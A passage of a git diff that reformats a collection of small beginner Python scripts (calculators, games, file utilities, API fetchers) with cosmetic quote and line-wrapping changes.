{}".format(n, r, permutation(n, r))) break except ValueError: - print('Invalid Value') + print("Invalid Value") continue - elif operation == '3': - print('Combination Computation\n') + elif operation == "3": + print("Combination Computation\n") while True: try: - n = int(input('\n Enter Value for n ')) - r = int(input('\n Enter Value for r ')) + n = int(input("\n Enter Value for n ")) + r = int(input("\n Enter Value for r ")) - print('Combination of {}C{} = {}'.format(n, r, combination(n, r))) + print("Combination of {}C{} = {}".format(n, r, combination(n, r))) break except ValueError: - print('Invalid Value') + print("Invalid Value") continue -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/factors.py b/factors.py index b14b0398baa..570534daf1e 100644 --- a/factors.py +++ b/factors.py @@ -1,7 +1,7 @@ import math -print('The factors of the number you type when prompted will be displayed') -a = int(input('Type now // ')) +print("The factors of the number you type when prompted will be displayed") +a = int(input("Type now // ")) b = 1 while b <= math.sqrt(a): if a % b == 0: diff --git a/fastapi.py b/fastapi.py index 614a26c3af9..37aa3aa3ce0 100644 --- a/fastapi.py +++ b/fastapi.py @@ -14,30 +14,35 @@ class Course(BaseModel): price: float is_early_bird: Optional[bool] = None + # Home/welcome route @app.get("/") def read_root(): return {"greetings": "Welcome to LearnCodeOnline.in"} + # Get all courses @app.get("/courses") def get_courses(): return fakedb + # get single course @app.get("/courses/{course_id}") def get_a_course(course_id: int): course = course_id - 1 return fakedb[course] + # add a new course @app.post("/courses") def add_course(course: Course): fakedb.append(course.dict()) return fakedb[-1] + # delete a course @app.delete("/courses/{course_id}") def delete_course(course_id: int): - fakedb.pop(course_id-1) + fakedb.pop(course_id - 1) return {"task": "deletion successful"} diff --git a/fetch_news.py b/fetch_news.py index f61f9a8dc2c..5b69401bd5b 100644 --- a/fetch_news.py +++ b/fetch_news.py @@ -12,4 +12,4 @@ def fetch_bbc_news(bbc_news_api_key: str) -> None: if __name__ == "__main__": - fetch_bbc_news(bbc_news_api_key="") \ No newline at end of file + fetch_bbc_news(bbc_news_api_key="") diff --git a/fibonacci.py b/fibonacci.py index 33058b7b1b9..15a98a66f03 100644 --- a/fibonacci.py +++ b/fibonacci.py @@ -36,23 +36,25 @@ def step(n: int) -> int: return step(n) -def getFibonacciDynamic(n: int,fib: list) -> int: - ''' +def getFibonacciDynamic(n: int, fib: list) -> int: + """ Calculate the fibonacci number at position n using dynamic programming to improve runtime - ''' - - if n==0 or n==1: + """ + + if n == 0 or n == 1: return n - if fib[n]!=-1: + if fib[n] != -1: return fib[n] - fib[n]=getFibonacciDynamic(n-1,fib)+getFibonacciDynamic(n-2,fib) + fib[n] = getFibonacciDynamic(n - 1, fib) + getFibonacciDynamic(n - 2, fib) return fib[n] + def main(): - n=int(input()) - fib=[-1]*n - getFibonacciDynamic(n,fib) - + n = int(input()) + fib = [-1] * n + getFibonacciDynamic(n, fib) + + def compareFibonacciCalculators(n: int) -> None: """ Interactively compare both fibonacci generators @@ -67,9 +69,5 @@ def compareFibonacciCalculators(n: int) -> None: endR = time.clock() s = "{} calculting {} => {} in {} seconds" - print(s.format( - "Iteratively", n, resultI, endI - startI - )) - print(s.format( - "Recursively", n, resultR, endR - startR - )) + print(s.format("Iteratively", n, resultI, endI - startI)) + print(s.format("Recursively", n, resultR, endR - startR)) diff --git a/fileinfo.py b/fileinfo.py index 9b2bab6f7be..bc80dc4bc5a 100644 --- a/fileinfo.py +++ b/fileinfo.py @@ -26,9 +26,9 @@ try: with open(file_name) as f: # Source: https://stackoverflow.com/a/1019572 - count = (sum(1 for line in f)) + count = sum(1 for line in f) f.seek(0) - t_char = (sum([len(line) for line in f])) + t_char = sum([len(line) for line in f]) except FileNotFoundError as e: print(e) sys.exit(1) @@ -42,41 +42,61 @@ file_stats = os.stat(file_name) # create a dictionary to hold file info file_info = { - 'fname': file_name, - 'fsize': file_stats[stat.ST_SIZE], - 'f_lm': time.strftime("%d/%m/%Y %I:%M:%S %p", - time.localtime(file_stats[stat.ST_MTIME])), - 'f_la': time.strftime("%d/%m/%Y %I:%M:%S %p", - time.localtime(file_stats[stat.ST_ATIME])), - 'f_ct': time.strftime("%d/%m/%Y %I:%M:%S %p", - time.localtime(file_stats[stat.ST_CTIME])), - 'no_of_lines': count, - 't_char': t_char + "fname": file_name, + "fsize": file_stats[stat.ST_SIZE], + "f_lm": time.strftime( + "%d/%m/%Y %I:%M:%S %p", time.localtime(file_stats[stat.ST_MTIME]) + ), + "f_la": time.strftime( + "%d/%m/%Y %I:%M:%S %p", time.localtime(file_stats[stat.ST_ATIME]) + ), + "f_ct": time.strftime( + "%d/%m/%Y %I:%M:%S %p", time.localtime(file_stats[stat.ST_CTIME]) + ), + "no_of_lines": count, + "t_char": t_char, } # print out the file info -file_info_keys = ('file name', 'file size', 'last modified', 'last accessed', - 'creation time', 'Total number of lines are', - 'Total number of characters are') -file_info_vales = (file_info['fname'], str(file_info['fsize']) + " bytes", - file_info['f_lm'], file_info['f_la'], file_info['f_ct'], - file_info['no_of_lines'], file_info['t_char']) +file_info_keys = ( + "file name", + "file size", + "last modified", + "last accessed", + "creation time", + "Total number of lines are", + "Total number of characters are", +) +file_info_vales = ( + file_info["fname"], + str(file_info["fsize"]) + " bytes", + file_info["f_lm"], + file_info["f_la"], + file_info["f_ct"], + file_info["no_of_lines"], + file_info["t_char"], +) for f_key, f_value in zip(file_info_keys, file_info_vales): - print(f_key, ' =', f_value) + print(f_key, " =", f_value) # check the `file` is direcotry # print out the file stats if stat.S_ISDIR(file_stats[stat.ST_MODE]): print("This a directory.") else: - file_stats_fmt = '' + file_stats_fmt = "" print("\nThis is not a directory.") - stats_keys = ("st_mode (protection bits)", "st_ino (inode number)", - "st_dev (device)", "st_nlink (number of hard links)", - "st_uid (user ID of owner)", "st_gid (group ID of owner)", - "st_size (file size bytes)", - "st_atime (last access time seconds since epoch)", - "st_mtime (last modification time)", - "st_ctime (time of creation Windows)") + stats_keys = ( + "st_mode (protection bits)", + "st_ino (inode number)", + "st_dev (device)", + "st_nlink (number of hard links)", + "st_uid (user ID of owner)", + "st_gid (group ID of owner)", + "st_size (file size bytes)", + "st_atime (last access time seconds since epoch)", + "st_mtime (last modification time)", + "st_ctime (time of creation Windows)", + ) for s_key, s_value in zip(stats_keys, file_stats): - print(s_key, ' =', s_value) + print(s_key, " =", s_value) diff --git a/find_cube_root.py b/find_cube_root.py index cf2be25095c..cf315708a25 100644 --- a/find_cube_root.py +++ b/find_cube_root.py @@ -1,4 +1,3 @@ - # This method is called exhaustive numeration! # I am checking every possible value # that can be root of given x systematically @@ -11,12 +10,13 @@ def cubeRoot(): if ans ** 3 == abs(x): break if ans ** 3 != abs(x): - print(x, 'is not a perfect cube!') + print(x, "is not a perfect cube!") else: if x < 0: ans = -ans - print('Cube root of ' + str(x) + ' is ' + str(ans)) - + print("Cube root of " + str(x) + " is " + str(ans)) + + cubeRoot() cont = str(input("Would you like to continue: ")) @@ -28,5 +28,3 @@ def cubeRoot(): else: print("Enter a correct answer(yes or no)") cont = str(input("Would you like to continue: ")) - - diff --git a/find_prime.py b/find_prime.py index db834c5cb35..d6d5a515bd2 100644 --- a/find_prime.py +++ b/find_prime.py @@ -1,4 +1,4 @@ -'''Author Anurag Kumar(mailto:anuragkumara95@gmail.com) +"""Author Anurag Kumar(mailto:anuragkumara95@gmail.com) A prime number is a natural number that has exactly two distinct natural number divisors: 1 and itself. @@ -23,7 +23,7 @@ - Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, let p now equal this new number (which is the next prime), and repeat from step 3. - When the algorithm terminates, the numbers remaining not marked in the list are all the primes below n. -''' +""" import sys @@ -37,7 +37,8 @@ def find_prime(num): if __name__ == "__main__": - if len(sys.argv) != 2: raise Exception("usage - $python find_prime.py ") + if len(sys.argv) != 2: + raise Exception("usage - $python find_prime.py ") try: num = int(sys.argv[1]) except ValueError: diff --git a/flappyBird_pygame/flappy_bird.py b/flappyBird_pygame/flappy_bird.py index 568bf8bc2f5..34b3206b7e2 100644 --- a/flappyBird_pygame/flappy_bird.py +++ b/flappyBird_pygame/flappy_bird.py @@ -17,17 +17,17 @@ FPS = 60 ANI_SPEED = 0.18 # pixels per millisecond -W_WIDTH = 284 * 2 # BG image size: 284x512 px; tiled twice +W_WIDTH = 284 * 2 # BG image size: 284x512 px; tiled twice W_HEIGHT = 512 class Bird(pygame.sprite.Sprite): - WIDTH = 32 # bird image width - HEIGHT = 32 # bird image height - DOWN_SPEED = 0.18 # pix per ms -y - UP_SPEED = 0.3 # pix per ms +y - UP_DURATION = 150 # time for which bird go up + WIDTH = 32 # bird image width + HEIGHT = 32 # bird image height + DOWN_SPEED = 0.18 # pix per ms -y + UP_SPEED = 0.3 # pix per ms +y + UP_DURATION = 150 # time for which bird go up def __init__(self, x, y, ms_to_up, images): @@ -41,9 +41,12 @@ def __init__(self, x, y, ms_to_up, images): def update(self, delta_frames=1): if self.ms_to_up > 0: - frac_climb_done = 1 - self.ms_to_up/Bird.UP_DURATION - self.y -= (Bird.UP_SPEED * frames_to_msec(delta_frames) * - (1 - math.cos(frac_climb_done * math.pi))) + frac_climb_done = 1 - self.ms_to_up / Bird.UP_DURATION + self.y -= ( + Bird.UP_SPEED + * frames_to_msec(delta_frames) + * (1 - math.cos(frac_climb_done * math.pi)) + ) self.ms_to_up -= frames_to_msec(delta_frames) else: self.y += Bird.DOWN_SPEED * frames_to_msec(delta_frames) @@ -72,7 +75,7 @@ def rect(self): class PipePair(pygame.sprite.Sprite): - WIDTH = 80 # width of pipe + WIDTH = 80 # width of pipe PIECE_HEIGHT = 32 ADD_INTERVAL = 3000 @@ -82,20 +85,22 @@ def __init__(self, pipe_end_img, pipe_body_img): self.score_counted = False self.image = pygame.Surface((PipePair.WIDTH, W_HEIGHT), SRCALPHA) - self.image.convert() # speeds up blitting + self.image.convert() # speeds up blitting self.image.fill((0, 0, 0, 0)) total_pipe_body_pieces = int( - (W_HEIGHT - # fill window from top to bottom - 3 * Bird.HEIGHT - # make room for bird to fit through - 3 * PipePair.PIECE_HEIGHT) / # 2 end pieces + 1 body piece - PipePair.PIECE_HEIGHT # to get number of pipe pieces + ( + W_HEIGHT + - 3 * Bird.HEIGHT # fill window from top to bottom + - 3 * PipePair.PIECE_HEIGHT # make room for bird to fit through + ) + / PipePair.PIECE_HEIGHT # 2 end pieces + 1 body piece # to get number of pipe pieces ) self.bottom_pieces = randint(1, total_pipe_body_pieces) self.top_pieces = total_pipe_body_pieces - self.bottom_pieces # bottom pipe for i in range(1, self.bottom_pieces + 1): - piece_pos = (0, W_HEIGHT - i*PipePair.PIECE_HEIGHT) + piece_pos = (0, W_HEIGHT - i * PipePair.PIECE_HEIGHT) self.image.blit(pipe_body_img, piece_pos) bottom_pipe_end_y = W_HEIGHT - self.bottom_height_px bottom_end_piece_pos = (0, bottom_pipe_end_y - PipePair.PIECE_HEIGHT) @@ -144,22 +149,22 @@ def collides_with(self, bird): def load_images(): - - def load_image(img_file_name): - file_name = os.path.join('.', 'images', img_file_name) + file_name = os.path.join(".", "images", img_file_name) img = pygame.image.load(file_name) img.convert() return img - return {'background': load_image('background.png'), - 'pipe-end': load_image('pipe_end.png'), - 'pipe-body': load_image('pipe_body.png'), - # images for animating the flapping bird -- animated GIFs are - # not supported in pygame - 'bird-wingup': load_image('bird_wing_up.png'), - 'bird-wingdown': load_image('bird_wing_down.png')} + return { + "background": load_image("background.png"), + "pipe-end": load_image("pipe_end.png"), + "pipe-body": load_image("pipe_body.png"), + # images for animating the flapping bird -- animated GIFs are + # not supported in pygame + "bird-wingup": load_image("bird_wing_up.png"), + "bird-wingdown": load_image("bird_wing_down.png"), + } def frames_to_msec(frames, fps=FPS): @@ -170,11 +175,13 @@ def frames_to_msec(frames, fps=FPS): def msec_to_frames(milliseconds, fps=FPS): return fps * milliseconds / 1000.0 -''' + + +""" def gameover(display, score): font = pygame.font.SysFont(None,55) text = font.render("Game Over! Score: {}".format(score),True,(255,0,0)) - display.blit(text, [150,250])''' + display.blit(text, [150,250])""" def main(): @@ -182,7 +189,7 @@ def main(): pygame.init() display_surface = pygame.display.set_mode((W_WIDTH, W_HEIGHT)) - pygame.display.set_caption('Flappy Bird by PMN') + pygame.display.set_caption("Flappy Bird by PMN") clock = pygame.time.Clock() score_font = pygame.font.SysFont(None, 32, bold=True) # default font @@ -190,8 +197,12 @@ def main(): # the bird stays in the same x position, so bird.x is a constant # center bird on screen - bird = Bird(50, int(W_HEIGHT/2 - Bird.HEIGHT/2), 2, - (images['bird-wingup'], images['bird-wingdown'])) + bird = Bird( + 50, + int(W_HEIGHT / 2 - Bird.HEIGHT / 2), + 2, + (images["bird-wingup"], images["bird-wingdown"]), + ) pipes = deque() @@ -204,7 +215,7 @@ def main(): # Handle this 'manually'. If we used pygame.time.set_timer(), # pipe addition would be messed up when paused. if not (paused or frame_clock % msec_to_frames(PipePair.ADD_INTERVAL)): - pp = PipePair(images['pipe-end'], images['pipe-body']) + pp = PipePair(images["pipe-end"], images["pipe-body"]) pipes.append(pp) for e in pygame.event.get(): @@ -213,8 +224,9 @@ def main(): break elif e.type == KEYUP and e.key in (K_PAUSE, K_p): paused = not paused - elif e.type == MOUSEBUTTONUP or (e.type == KEYUP and - e.key in (K_UP, K_RETURN, K_SPACE)): + elif e.type == MOUSEBUTTONUP or ( + e.type == KEYUP and e.key in (K_UP, K_RETURN, K_SPACE) + ): bird.ms_to_up = Bird.UP_DURATION if paused: @@ -226,7 +238,7 @@ def main(): done = True for x in (0, W_WIDTH / 2): - display_surface.blit(images['background'], (x, 0)) + display_surface.blit(images["background"], (x, 0)) while pipes and not pipes[0].visible: pipes.popleft() @@ -245,19 +257,19 @@ def main(): p.score_counted = True score_surface = score_font.render(str(score), True, (255, 255, 255)) - score_x = W_WIDTH/2 - score_surface.get_width()/2 + score_x = W_WIDTH / 2 - score_surface.get_width() / 2 display_surface.blit(score_surface, (score_x, PipePair.PIECE_HEIGHT)) pygame.display.flip() frame_clock += 1 - #gameover(display_surface, score) + # gameover(display_surface, score) - print('Game over! Score: %i' % score) + print("Game over! Score: %i" % score) pygame.quit() -if __name__ == '__main__': +if __name__ == "__main__": # If this module had been imported, __name__ would be 'flappybird'. # It was executed (e.g. by double-clicking the file), so call main. - main() \ No newline at end of file + main() diff --git a/folder_size.py b/folder_size.py index d469e4aabc6..7410de8da36 100755 --- a/folder_size.py +++ b/folder_size.py @@ -12,25 +12,36 @@ import sys # Load the library module and the sys module for the argument vector''' try: - directory = sys.argv[1] # Set the variable directory to be the argument supplied by user. + directory = sys.argv[ + 1 + ] # Set the variable directory to be the argument supplied by user. except IndexError: sys.exit("Must provide an argument.") dir_size = 0 # Set the size to 0 -fsizedicr = {'Bytes': 1, - 'Kilobytes': float(1) / 1024, - 'Megabytes': float(1) / (1024 * 1024), - 'Gigabytes': float(1) / (1024 * 1024 * 1024)} +fsizedicr = { + "Bytes": 1, + "Kilobytes": float(1) / 1024, + "Megabytes": float(1) / (1024 * 1024), + "Gigabytes": float(1) / (1024 * 1024 * 1024), +} for (path, dirs, files) in os.walk( - directory): # Walk through all the directories. For each iteration, os.walk returns the folders, subfolders and files in the dir. + directory +): # Walk through all the directories. For each iteration, os.walk returns the folders, subfolders and files in the dir. for file in files: # Get all the files filename = os.path.join(path, file) - dir_size += os.path.getsize(filename) # Add the size of each file in the root dir to get the total size. + dir_size += os.path.getsize( + filename + ) # Add the size of each file in the root dir to get the total size. -fsizeList = [str(round(fsizedicr[key] * dir_size, 2)) + " " + key for key in fsizedicr] # List of units +fsizeList = [ + str(round(fsizedicr[key] * dir_size, 2)) + " " + key for key in fsizedicr +] # List of units if dir_size == 0: print("File Empty") # Sanity check to eliminate corner-case of empty file. else: - for units in sorted(fsizeList)[::-1]: # Reverse sort list of units so smallest magnitude units print first. + for units in sorted(fsizeList)[ + ::-1 + ]: # Reverse sort list of units so smallest magnitude units print first. print("Folder Size: " + units) diff --git a/four_digit_num_combination.py b/four_digit_num_combination.py index 4e0b9c7a2b6..320544dc451 100644 --- a/four_digit_num_combination.py +++ b/four_digit_num_combination.py @@ -3,7 +3,7 @@ # ALL the combinations of 4 digit combo def four_digit_combinations(): - """ print out all 4-digit numbers in old way""" + """print out all 4-digit numbers in old way""" numbers = [] for code in range(10000): code = str(code).zfill(4) @@ -13,6 +13,6 @@ def four_digit_combinations(): # Same as above but more pythonic def one_line_combinations(): - """ print out all 4-digit numbers """ + """print out all 4-digit numbers""" numbers = [str(i).zfill(4) for i in range(10000)] print(numbers) diff --git a/friday.py b/friday.py index 95dc4cdc01f..544a1d7516d 100644 --- a/friday.py +++ b/friday.py @@ -3,12 +3,13 @@ var = 1 -while var>0: - pyttsx3.speak("How can I help you Sir") - print("How can I help you Sir : ", end = '') - x=input() - if (("notepad" in x) or ("Notepad" in x)) and (("open" in x) or ("run" in x) or ("Open" in x) or ("Run" in x)) : - pyttsx3.speak("Here it is , sir") - os.system("notepad") - print("anything more") - +while var > 0: + pyttsx3.speak("How can I help you Sir") + print("How can I help you Sir : ", end="") + x = input() + if (("notepad" in x) or ("Notepad" in x)) and ( + ("open" in x) or ("run" in x) or ("Open" in x) or ("Run" in x) + ): + pyttsx3.speak("Here it is , sir") + os.system("notepad") + print("anything more") diff --git a/ftp_send_receive.py b/ftp_send_receive.py index 1577d412bdc..691e0e8e899 100644 --- a/ftp_send_receive.py +++ b/ftp_send_receive.py @@ -10,9 +10,9 @@ from ftplib import FTP -ftp = FTP('xxx.xxx.x.x') # Enter the ip address or the domain name here -ftp.login(user='username', passwd='password') -ftp.cwd('/Enter the directory here/') +ftp = FTP("xxx.xxx.x.x") # Enter the ip address or the domain name here +ftp.login(user="username", passwd="password") +ftp.cwd("/Enter the directory here/") """ The file which will be received via the FTP server @@ -20,9 +20,9 @@ """ -def receive_file(filename='example.txt'): - with open(filename, 'wb') as out_file: - ftp.retrbinary('RETR ' + filename, out_file.write, 1024) +def receive_file(filename="example.txt"): + with open(filename, "wb") as out_file: + ftp.retrbinary("RETR " + filename, out_file.write, 1024) ftp.quit() @@ -32,7 +32,7 @@ def receive_file(filename='example.txt'): """ -def send_file(filename='example.txt'): - with open(filename, 'rb') as in_file: - ftp.storbinary('STOR ' + filename, in_file) +def send_file(filename="example.txt"): + with open(filename, "rb") as in_file: + ftp.storbinary("STOR " + filename, in_file) ftp.quit() diff --git a/game_of_life/05_mixed_sorting.py b/game_of_life/05_mixed_sorting.py index 158f8b6b292..ef0dced3325 100644 --- a/game_of_life/05_mixed_sorting.py +++ b/game_of_life/05_mixed_sorting.py @@ -31,7 +31,7 @@ def mixed_sorting(nums): even = [] sorted_list = [] for i in nums: - if i%2 == 0: + if i % 2 == 0: even.append(i) positions.append("E") else: @@ -40,7 +40,7 @@ def mixed_sorting(nums): even.sort() odd.sort() odd.reverse() - j,k = 0,0 + j, k = 0, 0 for i in range(len(nums)): if positions[i] == "E": while j < len(even): @@ -52,7 +52,7 @@ def mixed_sorting(nums): sorted_list.append(odd[k]) k += 1 break - + return sorted_list @@ -61,12 +61,11 @@ def mixed_sorting(nums): class TestMixedSorting(unittest.TestCase): def test_1(self): - self.assertEqual(mixed_sorting( - [8, 13, 11, 90, -5, 4]), [4, 13, 11, 8, -5, 90]) + self.assertEqual(mixed_sorting([8, 13, 11, 90, -5, 4]), [4, 13, 11, 8, -5, 90]) def test_2(self): self.assertEqual(mixed_sorting([1, 2, 3, 6, 5, 4]), [5, 2, 3, 4, 1, 6]) -if __name__ == '__main__': +if __name__ == "__main__": unittest.main(verbosity=2) diff --git a/game_of_life/game_o_life.py b/game_of_life/game_o_life.py index 8e80a3d25f6..7d2ee832dcf 100644 --- a/game_of_life/game_o_life.py +++ b/game_of_life/game_o_life.py @@ -1,4 +1,4 @@ -'''Conway's Game Of Life, Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) +"""Conway's Game Of Life, Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) Requirements: - numpy @@ -26,18 +26,19 @@ 4. Any dead cell with exactly three live neighbours be- comes a live cell, as if by reproduction. - ''' + """ import random import sys import numpy as np from matplotlib import use as mpluse -mpluse('TkAgg') + +mpluse("TkAgg") from matplotlib import pyplot as plt from matplotlib.colors import ListedColormap -usage_doc = 'Usage of script: script_nama ' +usage_doc = "Usage of script: script_nama " choice = [0] * 100 + [1] * 10 random.shuffle(choice) @@ -55,7 +56,7 @@ def seed(canvas): def run(canvas): - ''' This function runs the rules of game through all points, and changes their status accordingly.(in the same canvas) + """This function runs the rules of game through all points, and changes their status accordingly.(in the same canvas) @Args: -- canvas : canvas of population to run the rules on. @@ -63,13 +64,15 @@ def run(canvas): @returns: -- None - ''' + """ canvas = np.array(canvas) next_gen_canvas = np.array(create_canvas(canvas.shape[0])) for r, row in enumerate(canvas): for c, pt in enumerate(row): # print(r-1,r+2,c-1,c+2) - next_gen_canvas[r][c] = __judge_point(pt, canvas[r - 1:r + 2, c - 1:c + 2]) + next_gen_canvas[r][c] = __judge_point( + pt, canvas[r - 1 : r + 2, c - 1 : c + 2] + ) canvas = next_gen_canvas del next_gen_canvas # cleaning memory as we move on. @@ -109,8 +112,9 @@ def __judge_point(pt, neighbours): return state -if __name__ == '__main__': - if len(sys.argv) != 2: raise Exception(usage_doc) +if __name__ == "__main__": + if len(sys.argv) != 2: + raise Exception(usage_doc) canvas_size = int(sys.argv[1]) # main working structure of this module. @@ -118,7 +122,7 @@ def __judge_point(pt, neighbours): seed(c) fig, ax = plt.subplots() fig.show() - cmap = ListedColormap(['w', 'k']) + cmap = ListedColormap(["w", "k"]) try: while True: c = run(c) diff --git a/gcd.py b/gcd.py index c9c76217ab5..0f10da082d7 100644 --- a/gcd.py +++ b/gcd.py @@ -1,14 +1,14 @@ -''' +""" although there is function to find gcd in python but this is the code which takes two inputs and prints gcd of the two. -''' +""" a = int(input("Enter number 1 (a): ")) b = int(input("Enter number 2 (b): ")) i = 1 -while(i <= a and i <= b): - if(a % i == 0 and b % i == 0): +while i <= a and i <= b: + if a % i == 0 and b % i == 0: gcd = i i = i + 1 - + print("\nGCD of {0} and {1} = {2}".format(a, b, gcd)) diff --git a/get_crypto_price.py b/get_crypto_price.py index 4e2880d509c..a263e4294b8 100644 --- a/get_crypto_price.py +++ b/get_crypto_price.py @@ -5,14 +5,16 @@ def getprice(symbol, exchange_id): symbol = symbol.upper() # BTC/USDT, LTC/USDT, ETH/BTC, LTC/BTC exchange_id = exchange_id.lower() # binance, #bitmex symbol_1 = symbol.split("/") - exchange = getattr(ccxt, exchange_id)({ - # https://github.com/ccxt/ccxt/wiki/Manual#rate-limit - 'enableRateLimit': True - }) + exchange = getattr(ccxt, exchange_id)( + { + # https://github.com/ccxt/ccxt/wiki/Manual#rate-limit + "enableRateLimit": True + } + ) try: v_price = exchange.fetch_ticker(symbol) - r_price = v_price['info']['lastPrice'] - if (symbol_1[1] == "USD" or symbol_1[1] == "USDT"): + r_price = v_price["info"]["lastPrice"] + if symbol_1[1] == "USD" or symbol_1[1] == "USDT": v_return = "{:.2f} {}".format(float(r_price), symbol_1[1]) return v_return else: @@ -20,7 +22,7 @@ def getprice(symbol, exchange_id): return v_return except (ccxt.ExchangeError, ccxt.NetworkError) as error: # add necessary handling or rethrow the exception - return 'Got an error', type(error).__name__, error.args + return "Got an error", type(error).__name__, error.args raise diff --git a/get_info_remoute_srv.py b/get_info_remoute_srv.py index 245587fcd6d..eb08c2c9a95 100644 --- a/get_info_remoute_srv.py +++ b/get_info_remoute_srv.py @@ -10,19 +10,21 @@ import subprocess -HOSTS = ('proxy1', 'proxy') +HOSTS = ("proxy1", "proxy") -COMMANDS = ('uname -a', 'uptime') +COMMANDS = ("uname -a", "uptime") for host in HOSTS: result = [] for command in COMMANDS: - ssh = subprocess.Popen(["ssh", "%s" % host, command], - shell=False, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE) + ssh = subprocess.Popen( + ["ssh", "%s" % host, command], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) result.append(ssh.stdout.readlines()) - print('--------------- ' + host + ' --------------- ') + print("--------------- " + host + " --------------- ") for res in result: if not res: print(ssh.stderr.readlines()) diff --git a/get_likes_on_FB.py b/get_likes_on_FB.py index fa75486067e..cb999c76128 100644 --- a/get_likes_on_FB.py +++ b/get_likes_on_FB.py @@ -4,31 +4,49 @@ import sys import urllib -accessToken = 'TOKENVALUE' # YOUR ACCESS TOKEN GETS INSERTED HERE +accessToken = "TOKENVALUE" # YOUR ACCESS TOKEN GETS INSERTED HERE userId = sys.argv[1] # USERID limit = 100 -url = 'https://graph.facebook.com/' + userId + '/posts?access_token=' + accessToken + '&limit=' + str(limit) # FB Link +url = ( + "https://graph.facebook.com/" + + userId + + "/posts?access_token=" + + accessToken + + "&limit=" + + str(limit) +) # FB Link data = json.load(urllib.urlopen(url)) id = 0 print(str(id)) -for item in data['data']: - time = item['created_time'][11:19] - date = item['created_time'][5:10] - year = item['created_time'][0:4] +for item in data["data"]: + time = item["created_time"][11:19] + date = item["created_time"][5:10] + year = item["created_time"][0:4] -if 'shares' in item: - num_share = item['shares']['count'] +if "shares" in item: + num_share = item["shares"]["count"] else: num_share = 0 -if 'likes' in item: - num_like = item['likes']['count'] +if "likes" in item: + num_like = item["likes"]["count"] else: num_like = 0 id += 1 -print(str(id) + '\t' + time.encode('utf-8') + '\t' + date.encode('utf-8') + '\t' + year.encode('utf-8') + '\t' + str( - num_share) + '\t' + str(num_like)) +print( + str(id) + + "\t" + + time.encode("utf-8") + + "\t" + + date.encode("utf-8") + + "\t" + + year.encode("utf-8") + + "\t" + + str(num_share) + + "\t" + + str(num_like) +) diff --git a/get_youtube_view.py b/get_youtube_view.py index b42793966c6..77f1b1a29b8 100644 --- a/get_youtube_view.py +++ b/get_youtube_view.py @@ -2,10 +2,11 @@ Created on Thu Apr 27 16:28:36 2017 @author: barnabysandeford """ -# Currently works for Safari, but just change to whichever +# Currently works for Safari, but just change to whichever # browser you're using. import time + # Added pafy to get video length for the user import pafy @@ -22,17 +23,17 @@ # tries to get video length using pafy try: - video = pafy.new(url) - if hasattr(video, 'length'): - refreshrate = video.length + video = pafy.new(url) + if hasattr(video, "length"): + refreshrate = video.length # if pafy fails to work, prints out error and asks for video length from the user except Exception as e: - print(e) - print("Length of video:") - minutes = int(input("Minutes ")) - seconds = int(input("Seconds ")) - # Calculating the refreshrate from the user input - refreshrate = minutes * 60 + seconds + print(e) + print("Length of video:") + minutes = int(input("Minutes ")) + seconds = int(input("Seconds ")) + # Calculating the refreshrate from the user input + refreshrate = minutes * 60 + seconds # Selecting Safari as the browser driver = webdriver.Safari() diff --git a/google.py b/google.py index bded088f653..99a14b8c1c7 100755 --- a/google.py +++ b/google.py @@ -17,21 +17,21 @@ def main(): if len(sys.argv) > 1: - keyword = ' '.join(sys.argv[1:]) + keyword = " ".join(sys.argv[1:]) else: # if no keyword is entered, the script would search for the keyword # copied in the clipboard keyword = pyperclip.paste() - res = requests.get('http://google.com/search?q=' + keyword) + res = requests.get("http://google.com/search?q=" + keyword) res.raise_for_status() soup = bs4.BeautifulSoup(res.text) - linkElems = soup.select('.r a') + linkElems = soup.select(".r a") numOpen = min(5, len(linkElems)) for i in range(numOpen): - webbrowser.open('http://google.com' + linkElems[i].get('href')) + webbrowser.open("http://google.com" + linkElems[i].get("href")) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/googlemaps.py b/googlemaps.py index 940b2c24769..afc55094c75 100644 --- a/googlemaps.py +++ b/googlemaps.py @@ -2,7 +2,7 @@ import json import geocoder -g = geocoder.ip('me') +g = geocoder.ip("me") lat = g.latlng[0] @@ -10,11 +10,16 @@ query = input("Enter the query") key = "your_api_key" -url = "https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=" + \ - str(lat) + "," + str(longi) + "radius=1000" +url = ( + "https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=" + + str(lat) + + "," + + str(longi) + + "radius=1000" +) -r = requests.get(url + 'query=' + query + '&key=' + key) +r = requests.get(url + "query=" + query + "&key=" + key) x = r.json() -y = x['results'] +y = x["results"] print(y) diff --git a/gui_calculator.py b/gui_calculator.py index cf939a907f5..435b38972d1 100644 --- a/gui_calculator.py +++ b/gui_calculator.py @@ -1,82 +1,105 @@ -#Calculator +# Calculator from tkinter import * -w=Tk() + +w = Tk() w.geometry("500x500") w.title("Calculatorax") w.configure(bg="#03befc") -#Functions(Keypad) +# Functions(Keypad) def calc1(): b = txt1.get() txt1.delete(0, END) b1 = b + btn1["text"] txt1.insert(0, b1) + def calc2(): b = txt1.get() txt1.delete(0, END) b1 = b + btn2["text"] txt1.insert(0, b1) + + def calc3(): b = txt1.get() txt1.delete(0, END) b1 = b + btn3["text"] txt1.insert(0, b1) + + def calc4(): b = txt1.get() txt1.delete(0, END) b1 = b + btn4["text"] txt1.insert(0, b1) + + def calc5(): b = txt1.get() txt1.delete(0, END) b1 = b + btn5["text"] txt1.insert(0, b1) + + def calc6(): b = txt1.get() txt1.delete(0, END) b1 = b + btn6["text"] txt1.insert(0, b1) + + def calc7(): b = txt1.get() txt1.delete(0, END) b1 = b + btn7["text"] txt1.insert(0, b1) + + def calc8(): b = txt1.get() txt1.delete(0, END) b1 = b + btn8["text"] txt1.insert(0, b1) + + def calc9(): b = txt1.get() txt1.delete(0, END) b1 = b + btn9["text"] txt1.insert(0, b1) + + def calc0(): b = txt1.get() txt1.delete(0, END) b1 = b + btn0["text"] txt1.insert(0, b1) -#Functions(operators) + +# Functions(operators) x = 0 + + def add(): global x - add.b = (eval(txt1.get())) + add.b = eval(txt1.get()) txt1.delete(0, END) x = x + 1 def subtract(): global x - subtract.b = (eval(txt1.get())) + subtract.b = eval(txt1.get()) txt1.delete(0, END) x = x + 2 + def get(): b = txt1.get() + def equals(): 